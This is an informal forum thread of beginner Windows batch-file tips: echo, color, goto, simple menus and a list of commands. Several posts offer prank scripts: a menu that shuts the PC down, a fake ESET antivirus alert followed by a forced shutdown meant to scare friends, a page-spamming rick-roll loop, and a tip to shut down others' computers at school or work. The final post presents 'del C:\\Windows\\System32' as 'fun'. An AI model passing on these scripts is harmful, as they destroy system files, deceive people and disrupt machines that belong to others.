didn't really know where to put this :\\

it is fun to create .bat files though
to make .bat files open notepad type something like

@echo off
COLOR 01
echo test
pause

go to save as, click all files instead of text document (.txt) and name it test.bat http://i271.photobucket.com/albums/jj146/grahaam/testpicature
open the .bat version and see

http://i271.photobucket.com/albums/jj146/grahaam/echopicature.jpg

i'm guessing COLOR can go from 00-99

you can put all sorts of commands in
1 code is

goto after goto put anyname you want [/i]Itunes
then make an Itunes option by putting [i]:Itunes
put the rest of command here or a path to a file
"C:/Program Files/iTunes/iTunes.exe"
you muuust have quotes in paths
altogether it looks like

goto Itunes
:Itunes
"C:/Program Files/iTunes/iTunes.exe"


some other commands for reg command prompt:
tracert (insert website)
tree
mspaint
notepad
del
net user
msconfig
pinball
telnet (if you have XP)

others you can just type help


i created one
open notepad and save this as a .bat file

@echo off
:menu
COLOR 00
title Internet Explorationing

echo Want to go on the Internet?
set /p option=yes/no?
if %option%==yes goto Ie
if %option%==no goto neva
if %option%==Yes goto Ie
if %option%==No goto neva
if %option%==* goto error
goto error
:Ie
"C:\\Program Files\\Internet Explorer\\iexplore.exe"
pause
:neva
shutdown -s -t 5 -c "Say no to me eh?!"
:error
echo What you tryin to do?

don't forget to edit if you mess up!

"shutdown -i" is useful if you know the computer names.
It basically shuts down a computer within the network without actually going to Start menu.
You can also mess with it at school/work, although you might get in trouble.

i've shared this before on forums, so i guess i'll share it here too.

a fake virus to freak out your technologically inept friends. just change it to your (C name and Antivirus.

@echo off
echo ESET NOD32 Antivirus 4 has detected a threat to SYSTEM.
pause
echo Attempting to clean infected files.
pause
echo Deleting OS (C.
pause
shutdown -s -t 10 -c "Windows has encountered an error. Please contact your system Administrator for further details."

a random 4 or 5 digit number is %random%, you can put it right next to eachother for double that (%random%%random%)

Here's a loop of random numbers

@echo off

:recursion
for %%f in (%random%) do echo %%f
goto recursion

i'm guessing COLOR can go from 00-99


00 - 99 and AA - FF. Color /?, such a useful switch.

tracert (insert website)


The amount of times that command has saved me from making a trip downstairs to see if the router died. Bahahahah. XD

@echo off
START http://www.smouch.net/lol
start http://www.smouch.net/lol

Don't click those, you'll get rick-rolled. However, if you keep repeating the Start http://www.smouch.net/lol the computer will be filled up with rick-rolling pages that move around and shake and are generally near impossible to get rid of.

Also

@echo off
del C:\\Windows\\System32

that tends to be fun...
